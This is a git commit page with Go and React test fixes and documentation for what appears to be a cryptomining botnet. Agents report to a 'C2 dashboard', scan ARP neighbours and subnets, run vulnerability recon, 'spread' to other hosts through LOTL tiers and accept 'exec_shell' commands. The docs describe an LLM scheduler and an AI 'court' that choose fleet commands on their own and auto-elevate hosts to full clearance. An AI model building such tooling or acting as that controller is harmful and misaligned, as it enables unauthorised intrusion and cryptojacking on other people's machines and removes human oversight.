Fix Fleet AI and LOTL test regressions after parallel merges.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Stub slow syscheck/listen-port probes in agent tests, fix ai_snapshot mutex deadlock, reorder fleet clearance vs connectivity checks, and add AI control precedence plus LotlTimeline vitest coverage.
This commit is contained in:
AetherForge
2026-06-07 02:38:27 -07:00
parent 4ce9826660
commit 4b94776432
18 changed files with 579 additions and 80 deletions

View File

@@ -3,6 +3,8 @@ package client
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
@@ -118,3 +120,32 @@ func TestHandleAIRestartMining(t *testing.T) {
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
}
}
func TestHandleAIFullSysCheck(t *testing.T) {
SetFullSysCheckCollector(func(_ config.RuntimeConfig, agentID string) *FullSysCheckReport {
return &FullSysCheckReport{
GeneratedAt: "2026-06-07T00:00:00Z",
AgentID: agentID,
Platform: "windows",
}
})
defer SetFullSysCheckCollector(nil)
var gotAction string
var gotOK bool
var gotBody string
c := newTestClient(t)
c.agentID = "agent-test-1"
c.commandResultHook = func(action string, success bool, message string) {
gotAction = action
gotOK = success
gotBody = message
}
c.handleAICommand("full_sys_check", 0, "", "", "")
if gotAction != "full_sys_check" || !gotOK {
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
}
if !strings.Contains(gotBody, "generated_at") || !strings.Contains(gotBody, "agent-test-1") {
t.Fatalf("expected JSON report, got %q", gotBody)
}
}

View File

@@ -143,7 +143,7 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
c.mu.Lock()
snap.ClearanceLevel = c.clearanceLevel
if len(c.atlasSkips) > 0 {
snap.AtlasSkips = c.atlasSkipsSnapshot()
snap.AtlasSkips = append([]AtlasSkip(nil), c.atlasSkips...)
}
if c.inheritedPhenotype != nil {
copy := *c.inheritedPhenotype

View File

@@ -0,0 +1,9 @@
package client
// listenPortsCollector overrides collectListenPorts in tests. Nil restores platform defaults.
var listenPortsCollector func() *ListenPortsReport
// SetListenPortsCollector stubs listen-port collection in tests. Pass nil to restore defaults.
func SetListenPortsCollector(fn func() *ListenPortsReport) {
listenPortsCollector = fn
}

View File

@@ -11,6 +11,9 @@ import (
// collectListenPorts parses ss -tlnp output for all TCP listeners.
// Falls back to netstat -tlnp if ss is unavailable.
func collectListenPorts() *ListenPortsReport {
if listenPortsCollector != nil {
return listenPortsCollector()
}
r := &ListenPortsReport{}
// Prefer ss (iproute2) — faster and widely available on modern Linux

View File

@@ -11,6 +11,9 @@ import (
// Uses Get-NetTCPConnection (fast, built into Win8+/2012+) with per-port
// process name lookup via Get-Process.
func collectListenPorts() *ListenPortsReport {
if listenPortsCollector != nil {
return listenPortsCollector()
}
const script = `
$ErrorActionPreference = 'SilentlyContinue'
$procs = @{}

View File

@@ -63,18 +63,26 @@ func TestMiningDiagnosticsJSONShape(t *testing.T) {
func TestInferMiningBlockersRemotePause(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
c.pool.PauseRemote()
d := c.collectMiningDiagnostics()
d := MiningDiagnostics{
C2Connected: true,
CPU: struct {
RemotePaused bool `json:"remote_paused"`
ScheduleBlocked bool `json:"schedule_blocked"`
ResourcesBlocked bool `json:"resources_blocked"`
HasJob bool `json:"has_job"`
Hashrate float64 `json:"hashrate_hps"`
}{RemotePaused: true},
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range d.LikelyBlockers {
for _, b := range blockers {
if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") {
found = true
break
}
}
if !found {
t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers)
t.Fatalf("expected remote pause blocker, got %v", blockers)
}
}

View File

@@ -14,6 +14,9 @@ const syscheckRawMax = 12000
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
if fullSysCheckCollector != nil {
return fullSysCheckCollector(cfg, agentID)
}
r := &FullSysCheckReport{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
Platform: runtime.GOOS,
@@ -57,7 +60,11 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
arp := deploy.ArpNeighborIPs()
r.Neighbors.ArpHosts = arp
r.Neighbors.ArpCount = len(arp)
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
if subnetScanCollector != nil {
r.Neighbors.SubnetScan = subnetScanCollector(20)
} else {
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
}
collectSysCheckPlatform(r)

View File

@@ -0,0 +1,19 @@
package client
import "crypto-miner-agent/config"
// fullSysCheckCollector overrides CollectFullSysCheck in tests. Nil restores defaults.
var fullSysCheckCollector func(config.RuntimeConfig, string) *FullSysCheckReport
// subnetScanCollector overrides deploy.ScanLocalSubnet usage in syscheck. Nil restores defaults.
var subnetScanCollector func(maxHosts int) string
// SetFullSysCheckCollector stubs full_sys_check aggregation in tests.
func SetFullSysCheckCollector(fn func(config.RuntimeConfig, string) *FullSysCheckReport) {
fullSysCheckCollector = fn
}
// SetSubnetScanCollector stubs subnet scan in syscheck tests.
func SetSubnetScanCollector(fn func(maxHosts int) string) {
subnetScanCollector = fn
}

View File

@@ -9,6 +9,10 @@ import (
func TestRunVulnLOTLProbeMockedContext(t *testing.T) {
SetPostureCollector(func() *PostureReport { return nil })
defer SetPostureCollector(nil)
SetListenPortsCollector(func() *ListenPortsReport {
return &ListenPortsReport{Ports: []ListenPort{{Port: 443, Proto: "tcp"}}}
})
defer SetListenPortsCollector(nil)
origProbe := vulnprobeProbeHost
vulnprobeProbeHost = func(_ map[int]bool, _ string) vulnprobe.HostContext {

View File

@@ -27,6 +27,26 @@ func TestParseCommandsLineFallback(t *testing.T) {
}
}
func TestParseCommandsEmptyInput(t *testing.T) {
if cmds := ParseCommands(""); cmds != nil {
t.Fatalf("expected nil, got %+v", cmds)
}
if cmds := ParseCommands(" "); cmds != nil {
t.Fatalf("expected nil, got %+v", cmds)
}
}
func TestParseCommandsUnknownToolBecomesAgentCommand(t *testing.T) {
raw := `{"tool":"pause","args":{}}`
cmds := ParseCommands(raw)
if len(cmds) != 1 || cmds[0].Type != CmdAgentCommand {
t.Fatalf("got %+v", cmds)
}
if cmds[0].Args["action"] != "pause" {
t.Fatalf("args: %+v", cmds[0].Args)
}
}
func TestParseCommandsAgentCommand(t *testing.T) {
raw := `{"commands":[{"type":"agent_command","args":{"action":"pause"}}]}`
cmds := ParseCommands(raw)

View File

@@ -9,6 +9,8 @@ import (
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
type stubFleetAIConfig struct {
@@ -52,7 +54,7 @@ func TestFleetAIHandlerGetDecisions(t *testing.T) {
t.Fatal(err)
}
t.Cleanup(func() { database.Close() })
_ = database.InsertAIDecision("agent-x", "abc", `{"commands":[]}`, "noop:ok")
_ = database.InsertAIDecision("agent-x", "abc", `{"commands":[]}`, "noop:ok", false, "", "", "")
h := NewFleetAIHandler(nil, database)
req := httptest.NewRequest(http.MethodGet, "/api/v1/ai/decisions?agent_id=agent-x", nil)
@@ -70,6 +72,60 @@ func TestFleetAIHandlerGetDecisions(t *testing.T) {
}
}
func TestFleetAIHandlerGetModels(t *testing.T) {
modelSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/v1/models" {
http.NotFound(w, r)
return
}
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"data": []map[string]string{{"id": "llama3.2"}},
})
}))
t.Cleanup(modelSrv.Close)
cfg := &stubFleetAIConfig{view: FleetAIConfigView{AIEndpoint: modelSrv.URL + "/v1"}}
h := NewFleetAIHandler(cfg, nil)
req := httptest.NewRequest(http.MethodGet, "/api/v1/ai/models", nil)
rec := httptest.NewRecorder()
h.GetModels(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
models, _ := body["models"].([]interface{})
if len(models) != 1 {
t.Fatalf("models: %v", body)
}
}
func TestFleetAISnapshotOmitsAdaptiveWhenAIControl(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { database.Close() })
hub := NewWSHub(database)
hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true})
agentID := "snap-agent-1"
_ = database.UpsertAgent(&models.Agent{
ID: agentID, Name: "node-a", Platform: "windows", Status: "online",
})
snap, ok := hub.FleetAISnapshot(agentID)
if !ok {
t.Fatal("snapshot not found")
}
if snap.Adaptive != nil {
t.Fatalf("adaptive must be nil when AI control enabled, got %+v", snap.Adaptive)
}
}
func TestFleetAIExecutorRestartMining(t *testing.T) {
hub := NewWSHub(nil)
exec := &FleetAIExecutor{Hub: hub}

View File

@@ -386,6 +386,15 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
if id != "all" && !f.ws.IsAgentReachable(id) {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "agent not connected",
"agent_id": id,
"action": req.Action,
})
return
}
if id != "all" {
level := clearance.L0
if mgr := f.ws.ClearanceManager(); mgr != nil {
@@ -428,15 +437,6 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
}
f.ws.BroadcastAgentCommand(req.Action, args)
} else {
if !f.ws.IsAgentReachable(id) {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "agent not connected",
"agent_id": id,
"action": req.Action,
})
return
}
queued = !f.ws.isAgentConnected(id)
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
writeJSON(w, map[string]interface{}{

View File

@@ -105,22 +105,11 @@ func connectTestAgent(t *testing.T, hub *WSHub, agentID string) *websocket.Conn
}
t.Cleanup(func() { _ = conn.Close() })
authPayload, _ := json.Marshal(map[string]interface{}{
authAgentConn(t, conn, map[string]interface{}{
"agent_id": agentID,
"hostname": "test-host",
"version": "1.0",
})
if err := conn.WriteJSON(Message{Type: "auth", Payload: authPayload}); err != nil {
t.Fatalf("send auth: %v", err)
}
var resp Message
if err := conn.ReadJSON(&resp); err != nil {
t.Fatalf("read auth_response: %v", err)
}
if resp.Type != "auth_response" {
t.Fatalf("expected auth_response, got %q", resp.Type)
}
deadline := time.Now().Add(2 * time.Second)
for time.Now().Before(deadline) {
@@ -664,7 +653,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
t.Run("agent not connected", func(t *testing.T) {
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/agents/offline-agent/command",
strings.NewReader(`{"action":"pause"}`))
strings.NewReader(`{"action":"get_log"}`))
fleetChiRoute(http.MethodPost, "/agents/{id}/command", fh.PostAgentCommand).ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body %s", rec.Code, rec.Body.String())
@@ -711,13 +700,7 @@ func TestFleetPostAgentCommandSuccess(t *testing.T) {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var cmd Message
if err := conn.ReadJSON(&cmd); err != nil {
t.Fatalf("read command: %v", err)
}
if cmd.Type != "command" {
t.Fatalf("expected command message, got %q", cmd.Type)
}
cmd := readAgentWSMessage(t, conn, "command")
var payload map[string]interface{}
if err := json.Unmarshal(cmd.Payload, &payload); err != nil {
t.Fatal(err)
@@ -739,10 +722,7 @@ func TestFleetPostAgentCommandBroadcastAll(t *testing.T) {
t.Fatalf("status %d", rec.Code)
}
var cmd Message
if err := conn.ReadJSON(&cmd); err != nil {
t.Fatalf("read broadcast command: %v", err)
}
cmd := readAgentWSMessage(t, conn, "command")
if cmd.Type != "command" {
t.Fatalf("expected command, got %q", cmd.Type)
}
@@ -929,10 +909,7 @@ func TestFleetGetLogRefreshUsesTailConstant(t *testing.T) {
t.Fatalf("status %d", rec.Code)
}
var cmd Message
if err := conn.ReadJSON(&cmd); err != nil {
t.Fatalf("read get_log command: %v", err)
}
cmd := readAgentWSMessage(t, conn, "command")
var payload map[string]interface{}
if err := json.Unmarshal(cmd.Payload, &payload); err != nil {
t.Fatal(err)

View File

@@ -287,21 +287,11 @@ func connectAgentViaRouter(t *testing.T, router http.Handler, agentID string) (*
}
t.Cleanup(func() { _ = conn.Close() })
authPayload, _ := json.Marshal(map[string]interface{}{
authAgentConn(t, conn, map[string]interface{}{
"agent_id": agentID,
"hostname": "integration-host",
"version": "1.0",
})
if err := conn.WriteJSON(Message{Type: "auth", Payload: authPayload}); err != nil {
t.Fatalf("send auth: %v", err)
}
var resp Message
if err := conn.ReadJSON(&resp); err != nil {
t.Fatalf("read auth_response: %v", err)
}
if resp.Type != "auth_response" {
t.Fatalf("expected auth_response, got %q", resp.Type)
}
return conn, srv
}
@@ -932,8 +922,7 @@ func TestIntegrationRouterWebSocketAgentConnectedCommand(t *testing.T) {
func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
agentID := "router-roundtrip-agent"
const testAction = "exec"
const testCommand = "whoami"
const testAction = "pause"
const resultMessage = "integration round-trip ok"
agentConn, srv := connectAgentViaRouter(t, router, agentID)
@@ -989,26 +978,31 @@ func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) {
agentCmdCh := make(chan agentCmdResult, 1)
go func() {
_ = agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
var cmd Message
if err := agentConn.ReadJSON(&cmd); err != nil {
agentCmdCh <- agentCmdResult{err: err.Error()}
return
}
agentCmdCh <- agentCmdResult{cmd: cmd}
for {
var cmd Message
if err := agentConn.ReadJSON(&cmd); err != nil {
agentCmdCh <- agentCmdResult{err: err.Error()}
return
}
if cmd.Type != "command" {
continue
}
agentCmdCh <- agentCmdResult{cmd: cmd}
cmdPayload, _ := json.Marshal(map[string]interface{}{
"action": testAction,
"success": true,
"message": resultMessage,
})
if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
agentCmdCh <- agentCmdResult{err: "send command_result: " + err.Error()}
cmdPayload, _ := json.Marshal(map[string]interface{}{
"action": testAction,
"success": true,
"message": resultMessage,
})
if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
agentCmdCh <- agentCmdResult{err: "send command_result: " + err.Error()}
}
return
}
}()
cmdBody, _ := json.Marshal(map[string]string{
"action": testAction,
"command": testCommand,
"action": testAction,
})
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command", cmdBody)
if rec.Code != http.StatusOK {
@@ -1040,9 +1034,6 @@ func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) {
if payload["action"] != testAction {
t.Errorf("agent command action: got %v, want %s", payload["action"], testAction)
}
if payload["command"] != testCommand {
t.Errorf("agent command: got %v, want %s", payload["command"], testCommand)
}
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for agent command")
}

View File

@@ -52,6 +52,38 @@ func TestAuthResponseIncludesAdaptiveStrategy(t *testing.T) {
}
}
func TestAuthResponseOmitsAdaptiveStrategyWhenAIControlEnabled(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("test-secret")
hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true})
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "agent-ai-1", "fleet_secret": "test-secret",
"wallet": "4" + repeatChar('B', 94), "hostname": "win-docker", "platform": "windows", "version": "test",
})
if resp.Type != "auth_response" {
t.Fatalf("expected auth_response, got %q", resp.Type)
}
var payload map[string]interface{}
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
t.Fatal(err)
}
if payload["success"] != true {
t.Fatalf("auth failed: %v", payload["error"])
}
if _, ok := payload["adaptive_strategy"]; ok {
t.Fatal("adaptive_strategy must be omitted when ai_control_enabled is true")
}
}
func repeatChar(c byte, n int) string {
buf := make([]byte, n)
for i := range buf {

View File

@@ -52,6 +52,22 @@ func dialAgentWS(t *testing.T, hub *WSHub) (*websocket.Conn, string) {
return conn, wsURL
}
func readAgentWSMessage(t *testing.T, conn *websocket.Conn, wantType string) Message {
t.Helper()
deadline := time.Now().Add(5 * time.Second)
for time.Now().Before(deadline) {
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
t.Fatalf("read %s: %v", wantType, err)
}
if msg.Type == wantType {
return msg
}
}
t.Fatalf("timed out waiting for %s", wantType)
return Message{}
}
func authAgentConn(t *testing.T, conn *websocket.Conn, payload map[string]interface{}) Message {
t.Helper()
data, _ := json.Marshal(payload)

View File

@@ -0,0 +1,196 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter, Route, Routes } from 'react-router-dom';
import LotlTimelinePage from './LotlTimelinePage';
import { mockAgent, mockServerConfig } from '../test/fixtures';
import { routerFuture } from '../routerFuture';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: vi.fn(),
}));
vi.mock('../components/HelpTip', () => ({
HelpTip: () => null,
}));
const useWebSocketMock = vi.mocked(useWebSocket);
const agentA = mockAgent({
id: 'agent-a',
name: 'Alpha Node',
status: 'online',
lotl_tier: 'wsl',
lotl_attempts: [
{ tier: 'vuln_recon', ok: true, duration_ms: 400, phase: 'recon' },
{ tier: 'docker', ok: false, error: 'no daemon', duration_ms: 900, phase: 'deploy' },
],
});
function renderPage(initial = '/lotl-timeline') {
return render(
<MemoryRouter future={routerFuture} initialEntries={[initial]}>
<Routes>
<Route path="/lotl-timeline" element={<LotlTimelinePage />} />
</Routes>
</MemoryRouter>,
);
}
describe('LotlTimelinePage', () => {
beforeEach(() => {
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'getAIDecisions').mockResolvedValue([]);
vi.spyOn(api, 'getClearanceEvents').mockResolvedValue([]);
useWebSocketMock.mockReturnValue({
isConnected: true,
agents: [agentA],
recentShares: [],
fleetAlerts: [],
poolStatus: [],
aiActivity: [],
agentLogs: {},
commandResults: [],
latestMessage: null,
});
});
afterEach(() => {
cleanup();
vi.restoreAllMocks();
});
it('renders LOTL Timeline heading and tier chain for online agent', async () => {
renderPage();
expect(await screen.findByRole('heading', { name: /LOTL Timeline/i })).toBeInTheDocument();
expect(screen.getByText('ONION TIER CHAIN')).toBeInTheDocument();
expect(screen.getAllByText('Alpha Node').length).toBeGreaterThanOrEqual(1);
expect(screen.getByText('Vuln Recon')).toBeInTheDocument();
});
it('shows empty state when fleet has no agents', async () => {
useWebSocketMock.mockReturnValue({
isConnected: true,
agents: [],
recentShares: [],
fleetAlerts: [],
poolStatus: [],
aiActivity: [],
agentLogs: {},
commandResults: [],
latestMessage: null,
});
renderPage();
expect(
await screen.findByText(/No agents in fleet yet/i),
).toBeInTheDocument();
});
it('loads AI decision panel when ai_control_enabled is true', async () => {
vi.mocked(api.getConfig).mockResolvedValue(
mockServerConfig({ server: { ai_control_enabled: true } }),
);
vi.mocked(api.getAIDecisions).mockResolvedValue([
{
id: 1,
agent_id: 'agent-a',
response: 'restart mining after docker failure',
commands_executed: 'restart_mining:ok',
ts: '2026-06-07T12:00:00Z',
},
]);
renderPage();
expect(await screen.findByText('LAST AI DECISION')).toBeInTheDocument();
expect(screen.getByText('restart mining after docker failure')).toBeInTheDocument();
expect(screen.getByText('restart_mining:ok')).toBeInTheDocument();
});
it('loads court session decision with prosecutor/defender/judge roles', async () => {
vi.mocked(api.getConfig).mockResolvedValue(
mockServerConfig({ server: { ai_control_enabled: true } }),
);
vi.mocked(api.getAIDecisions).mockResolvedValue([
{
id: 2,
agent_id: 'agent-a',
response: 'Verdict: restart mining after tier exhaustion.',
commands_executed: 'restart_mining:ok',
court_session: true,
prosecutor_snippet: 'Failure atlas: docker 8/8 failed',
defender_snippet: 'Fleet phenotype from worker-07',
judge_verdict: 'restart mining after tier exhaustion.',
ts: '2026-06-07T12:05:00Z',
},
]);
renderPage();
expect(await screen.findByText('SINGULAR MACHINE COURT')).toBeInTheDocument();
expect(screen.getByText('Prosecutor')).toBeInTheDocument();
expect(screen.getByText('Defender')).toBeInTheDocument();
expect(screen.getByText('Judge')).toBeInTheDocument();
expect(screen.getByText(/Failure atlas: docker 8\/8 failed/i)).toBeInTheDocument();
expect(screen.getByText(/Fleet phenotype from worker-07/i)).toBeInTheDocument();
expect(screen.getByText(/restart mining after tier exhaustion/i)).toBeInTheDocument();
});
it('selects agent from ?agent= query param', async () => {
const agentB = mockAgent({ id: 'agent-b', name: 'Beta Node', status: 'online' });
useWebSocketMock.mockReturnValue({
isConnected: true,
agents: [agentA, agentB],
recentShares: [],
fleetAlerts: [],
poolStatus: [],
aiActivity: [],
agentLogs: {},
commandResults: [],
latestMessage: null,
});
renderPage('/lotl-timeline?agent=agent-b');
const betaNodes = await screen.findAllByText('Beta Node');
expect(betaNodes.length).toBeGreaterThanOrEqual(1);
});
it('renders clearance history when events exist', async () => {
vi.mocked(api.getClearanceEvents).mockResolvedValue([
{
id: 7,
agent_id: 'agent-a',
from_level: 1,
to_level: 2,
reason: 'spread lane needed',
source: 'ai_scheduler',
ts: '2026-06-07T11:00:00Z',
},
]);
renderPage();
expect(await screen.findByText('CLEARANCE HISTORY')).toBeInTheDocument();
expect(screen.getAllByText(/AI: L1 → L2/i).length).toBeGreaterThanOrEqual(1);
});
it('switches selected agent from fleet overview', async () => {
const agentB = mockAgent({ id: 'agent-b', name: 'Beta Node', status: 'online' });
useWebSocketMock.mockReturnValue({
isConnected: true,
agents: [agentA, agentB],
recentShares: [],
fleetAlerts: [],
poolStatus: [],
aiActivity: [],
agentLogs: {},
commandResults: [],
latestMessage: null,
});
const user = userEvent.setup();
renderPage();
await screen.findAllByText('Alpha Node');
await user.click(screen.getByRole('button', { name: /Beta Node/i }));
await waitFor(() => {
expect(screen.getAllByText('Beta Node').length).toBeGreaterThanOrEqual(1);
});
});
});

View File

@@ -56,6 +56,85 @@ The server **adaptive strategy engine** (`server/internal/strategy/`) learns fro
Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (server) and Vitest `AccessDepthPanel.test.tsx`.
## Phenotype cloning
When an agent reports a winning spread+mining path, the server upserts a **fleet phenotype** keyed by host fingerprint. Sibling agents receive `inherited_phenotype` on auth — tier order and spread lane clone without re-forge. Inherited phenotype **overrides** adaptive strategy on auth.
## Failure atlas
The failure atlas (`server/internal/atlas/`) records conditioned tier failures. After five failures under an active condition, it hard-skips subtree tiers, merges into `adaptive_strategy.skip_tiers`, and pushes `atlas_skips` on auth. LOTL Timeline marks tiers `skipped_by_atlas`.
## Court session
When AI Control is on and a host is stuck (zero hashrate + exhausted chain or all spread tiers failed), the scheduler runs a **Singular Machine Court**: Prosecutor (failure atlas + attempts), Defender (fleet phenotype), Judge (verdict + commands). Persisted with `court_session=true` for LOTL Timeline.
## Clearance L0L4
Agents receive session clearance on auth (L0 stats → L4 forge). Fleet AI and remote actions enforce minimum levels. With `ai_auto_elevate_clearance`, stuck hosts auto-elevate to L4 so court-ordered commands can execute. Events broadcast as `clearance_elevated` on dashboard WS.
## Fleet AI Control
Calibrate → **Calibration Control** toggles `server.ai_control_enabled`. When **on**, the server **Fleet AI scheduler** (`server/internal/ai/`) polls connected agents on `ai_decision_interval_sec` (default 60s), builds snapshots from WS + DB state, calls a local OpenAI-compatible endpoint (`ai_endpoint`, default `http://127.0.0.1:11434/v1`), parses `commands[]` from the model response, and dispatches fleet actions (`restart_mining`, `discover_and_join`, `spread_now`, `agent_command`, etc.). Decisions are stored in SQLite `ai_decisions` and surfaced on **LOTL Timeline** when AI control is enabled.
**Precedence:** `ai_control_enabled: true` **replaces** adaptive strategy for tier-order decisions — auth omits `adaptive_strategy`, background rescoring no-ops, and `FleetAISnapshot` skips adaptive reasoning. Adaptive strategy resumes when AI control is turned off.
Operator settings: `ai_endpoint`, `ai_model`, `ai_no_context` (single-turn prompts), `ai_decision_interval_sec`. Refresh models: Calibrate **Refresh models** → `GET /api/v1/ai/models`. Audit trail: `GET /api/v1/ai/decisions?agent_id=`.
Agent side: hub sends `ai_snapshot_request` → agent replies `ai_snapshot` (`agent/client/ai_snapshot.go`); scheduler commands map to `ai_commands` handlers (`exec_shell`, `full_sys_check`, `restart_mining`, etc.). Per-agent Ollama autonomy (`ai_enabled` forge flag) remains separate — see [Agent logs](#agent-logs-not-a-missing-api).
### Fleet AI + LOTL Timeline quick-run
```bat
cd server && go test ./internal/ai/... ./internal/api/... -run "FleetAI|Scheduler|ParseCommands|AuthResponse.*Adaptive|AI" -count=1
cd agent && go test ./client/... -run "AI|HandleAI|AISnapshot|VulnLOTL" -count=1
cd server\web && npm run test -- --run src/pages/LotlTimelinePage.test.tsx src/pages/SettingsPage.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/help/settingHelp.test.ts
```
### Fleet AI coverage map
| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| Command parser (JSON, tool-call, COMMAND: lines) | `server/internal/ai/commands_test.go` | 1 |
| OpenAI client (models list, decide) | `server/internal/ai/client_test.go` | 1 |
| Scheduler mock (1 agent, 1 cycle; disabled no-op) | `server/internal/ai/scheduler_test.go` | 1 |
| AI config / models / decisions API | `server/internal/api/fleet_ai_handler_test.go` | 1 |
| AI control precedence over adaptive (auth + snapshot) | `server/internal/api/strategy_auth_test.go`, `fleet_ai_handler_test.go` | 1 |
| Legacy Ollama decide/report API | `server/internal/api/ai_handler_test.go` | 1 |
| `ai_snapshot` JSON shape + stuck detection | `agent/client/ai_snapshot_test.go` | 2 |
| `ai_snapshot_request` WS dispatch | `agent/client/handlemessage_test.go` | 2 |
| `ai_commands` handlers + path traversal | `agent/client/ai_commands_test.go` | 2 |
| Calibrate AI Control toggle + models refresh | `server/web/src/pages/SettingsPage.test.tsx` | 4 |
| LOTL Timeline page (tier chain + AI decision panel) | `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 |
| LOTL tier timeline component | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx` | 4 |
| Calibrate help keys (`calibration_ai_control`) | `server/web/src/help/settingHelp.test.ts`, `docAnchors.test.ts` | 4 |
| Singular Machine Court prompts | `server/internal/ai/court_prompt_test.go` | 1 |
### Fleet intelligence (2026-06-07 — phenotype, atlas, court, clearance)
| Feature | Test file(s) | Suite phase |
|---------|----------------|-------------|
| Fleet phenotype store + peak hashrate | `server/internal/strategy/phenotype_test.go`, `server/internal/db/phenotype_test.go` | 1 |
| Phenotype publish + sibling inheritance API | `server/internal/api/phenotype_test.go` | 1 |
| Agent auth phenotype policy | `agent/client/phenotype_policy_test.go` | 2 |
| Failure atlas subtree skips | `server/internal/atlas/failure_atlas_test.go` | 1 |
| Clearance L0L4 command gating | `server/internal/clearance/clearance_test.go` | 1 |
| AI scheduler clearance elevation | `server/internal/ai/scheduler_test.go` | 1 |
| Clearance helpers + timeline history | `server/web/src/help/clearance.test.ts`, `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 |
| Phenotype cloned-from + clearance badge UI | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx`, `server/web/src/components/Fleet/AccessDepthPanel.test.tsx` | 4 |
```bat
cd server && go test ./internal/strategy/... ./internal/db/... ./internal/api/... ./internal/atlas/... ./internal/clearance/... ./internal/ai/... -run "Phenotype|Atlas|Court|Clearance" -count=1
cd agent && go test ./client/... -run Phenotype -count=1
cd server\web && npm run test -- --run src/help/clearance.test.ts src/components/Fleet/AccessDepthPanel.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/pages/LotlTimelinePage.test.tsx
```
### Fleet AI gaps
- **Live Ollama / vLLM inference** — scheduler uses `DecideFunc` inject in unit tests; no CI container with a real model.
- **Full scheduler E2E** — one mocked `Tick()` cycle covered; no multi-agent parallel decision race test.
- **Court session UI** — Go + Vitest cover prosecutor/defender/judge in `LotlTimelinePage.test.tsx`; no Playwright path yet.
- **Real `full_sys_check` syscheck bundle** — handler test stubs `CollectFullSysCheck`; live subnet scan / `systeminfo` not exercised in CI.
## LOTL architecture (triple onion)
The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.
@@ -103,6 +182,30 @@ flowchart TB
deploy -->|all lanes fail| mining
```
Phenotype inherit and failure-atlas skip branches (adaptive / auth path):
```mermaid
flowchart LR
subgraph auth["Agent auth"]
fp[fingerprint match]
pheno{winning phenotype?}
inherit[inherited_phenotype tier_order + spread_lane]
adaptive[adaptive_strategy tier_order]
atlasRec[atlas RecordFailure from stats]
atlasSkip[atlas_skips hard subtree]
merge[MergeSkipsIntoStrategy skip_tiers]
end
fp --> pheno
pheno -->|yes| inherit
pheno -->|no| adaptive
atlasRec --> atlasSkip
adaptive --> merge
atlasSkip --> merge
inherit --> agentPolicy[agent tier policy]
merge --> agentPolicy
```
Sequential tier attempts within each phase (mining chain shown; spread/deploy lanes behave the same way):
```mermaid
@@ -256,7 +359,8 @@ All Go packages under `server/` and `agent/` are picked up automatically by `go
